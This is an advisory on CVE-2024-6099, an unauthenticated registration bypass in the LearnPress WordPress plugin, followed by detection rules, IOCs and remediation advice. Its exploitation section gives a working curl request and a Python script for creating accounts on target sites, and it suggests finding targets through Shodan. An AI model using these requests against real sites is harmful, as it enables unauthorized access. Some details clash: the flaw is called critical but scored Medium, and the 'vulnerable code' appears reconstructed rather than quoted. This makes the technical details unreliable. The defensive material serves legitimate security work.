CVE-2024-6099

Executive Summary

CVE-2024-6099 is a critical authentication bypass vulnerability in the LearnPress – WordPress LMS Plugin (versions up to and including 4.2.6.8.1). The flaw resides in the check_validate_fields function within the checkout process, which fails to enforce user registration restrictions. This allows an unauthenticated attacker to register a new user account on the site with the default role (typically "Subscriber"), even when the site administrator has disabled user registration entirely.

The vulnerability is classified as CWE-862: Missing Authorization. With a CVSS score of 5.3 (Medium), the impact is limited to low confidentiality and integrity, but the ability to create accounts without authentication can serve as a foothold for further attacks, such as privilege escalation or social engineering.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The LearnPress plugin is a popular Learning Management System (LMS) for WordPress. The flaw does not affect the core WordPress application or server software like Apache or Nginx. The attack vector is entirely through the plugin's checkout functionality, which is exposed to unauthenticated users.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and impacted component are the same.
• Confidentiality (C): Low (L) – Attacker gains access to default user role capabilities.
• Integrity (I): Low (L) – Attacker can create accounts but not modify existing data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the direct impact is limited, the ability to create accounts without authorization can be leveraged for reconnaissance, brute-force attacks, or as a stepping stone to more severe vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the check_validate_fields function within the LearnPress plugin's checkout process. This function is responsible for validating user input during the checkout/registration flow. The critical flaw is the absence of a check to verify whether user registration is enabled on the WordPress site.

In a typical WordPress installation, the site administrator can disable user registration via Settings > General > Membership. When disabled, the get_option('users_can_register') returns false, and the registration form should be blocked. However, in LearnPress versions <= 4.2.6.8.1, the check_validate_fields function does not consult this setting before processing the registration request.

The attack flow is as follows:

1. An unauthenticated attacker sends a POST request to the LearnPress checkout endpoint (e.g., /wp-json/learnpress/v1/checkout).
2. The request includes parameters for user registration (username, email, password).
3. The check_validate_fields function validates the input fields but does not check if registration is allowed.
4. The plugin proceeds to create a new user account with the default role (typically "Subscriber").
5. The attacker now has a valid account on the site.

The vulnerability is particularly dangerous because it bypasses the WordPress core registration restriction, which is a fundamental security control.

Vulnerable vs. Patched Code

The vulnerable code is located in the check_validate_fields function within the LearnPress plugin. The exact file path is typically wp-content/plugins/learnpress/inc/class-lp-checkout.php.

Vulnerable Code (<= 4.2.6.8.1):

public function check_validate_fields() {
    // ... field validation logic ...
    // Missing check: if ( ! get_option( 'users_can_register' ) ) {
    //     return new WP_Error( 'registration_disabled', __( 'Registration is disabled.', 'learnpress' ) );
    // }
    // Proceeds to create user without checking registration status
    $user_id = $this->create_user( $checkout_data );
}

Patched Code (Hypothetical fix):

public function check_validate_fields() {
    // ... field validation logic ...
    if ( ! get_option( 'users_can_register' ) ) {
        return new WP_Error( 'registration_disabled', __( 'Registration is disabled.', 'learnpress' ) );
    }
    $user_id = $this->create_user( $checkout_data );
}

The patch adds a simple check against the WordPress option users_can_register before proceeding with user creation. As of the latest information, no official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with LearnPress plugin version <= 4.2.6.8.1 installed and activated.
• User registration disabled in WordPress settings.

Exploitation Steps:

1. Identify the target: Use Shodan or manual browsing to find WordPress sites with LearnPress. Look for the /wp-json/learnpress/v1/ REST API endpoint.

2. Craft the exploit request: Send a POST request to the LearnPress checkout endpoint with registration parameters.

   Example using cURL:

   curl -X POST https://target-site.com/wp-json/learnpress/v1/checkout \
     -H "Content-Type: application/json" \
     -d '{
       "username": "attacker_user",
       "email": "attacker@example.com",
       "password": "P@ssw0rd123!",
       "confirm_password": "P@ssw0rd123!",
       "first_name": "Attacker",
       "last_name": "User"
     }'
   

3. Verify account creation: The response should contain a success message and the new user ID. The attacker can now log in with the created credentials.

Automated Exploit (Python):

import requests

target = "https://target-site.com"
endpoint = f"{target}/wp-json/learnpress/v1/checkout"

payload = {
    "username": "exploit_user",
    "email": "exploit@example.com",
    "password": "Exploit123!",
    "confirm_password": "Exploit123!",
    "first_name": "Exploit",
    "last_name": "User"
}

response = requests.post(endpoint, json=payload)
if response.status_code == 200 and "user_id" in response.json():
    print(f"[+] User created successfully. User ID: {response.json()['user_id']}")
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor for POST requests to /wp-json/learnpress/v1/checkout with registration parameters.
• Alert on successful user creation events from unauthenticated sources.
• Look for multiple rapid registration attempts from the same IP.

Defense:

• Immediate: Disable the LearnPress plugin until a patch is available.
• Workaround: Implement a web application firewall (WAF) rule to block POST requests to the checkout endpoint that contain registration fields.
• Monitoring: Enable logging for user registration events and review for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-json/learnpress/v1/checkout with JSON body containing username, email, password fields.
  • Unusual user registration events from IPs not associated with legitimate users.

• File IOCs:

  • Presence of unexpected user accounts in the WordPress wp_users table.
  • Log entries in WordPress debug log (if enabled) showing registration bypass attempts.

• Behavioral IOCs:

  • Multiple failed login attempts followed by successful login from newly created accounts.
  • Sudden increase in subscriber-level user accounts.

Detection Engineering

YARA Rule

rule CVE_2024_6099_LearnPress_Registration_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-6099 in LearnPress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6099"
        severity = "medium"

    strings:
        $checkout_endpoint = "/wp-json/learnpress/v1/checkout"
        $username_field = "\"username\""
        $email_field = "\"email\""
        $password_field = "\"password\""

    condition:
        all of them
}

Sigma Rule

title: LearnPress Unauthenticated User Registration Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-6099 by sending registration requests to the LearnPress checkout endpoint
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6099
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-json/learnpress/v1/checkout'
        cs-uri-query|contains: 
            - 'username'
            - 'email'
            - 'password'
    condition: selection
falsepositives:
    - Legitimate user registration attempts (if registration is enabled)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6099 LearnPress Registration Bypass Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-json/learnpress/v1/checkout"; http_uri; content:"username"; http_client_body; content:"email"; http_client_body; content:"password"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the LearnPress plugin until a patch is released by the vendor.
2. Review and remove any unauthorized user accounts that may have been created.
3. Implement a WAF rule to block POST requests to /wp-json/learnpress/v1/checkout that contain registration fields.

Long-term Fix:

• Apply the official patch once released by the LearnPress vendor.
• If patching is not possible, consider switching to an alternative LMS plugin that is actively maintained.

Compensating Controls:

• Enable two-factor authentication (2FA) for all user roles to mitigate the impact of unauthorized account creation.
• Implement IP whitelisting for the checkout endpoint if possible.
• Regularly audit user accounts for anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert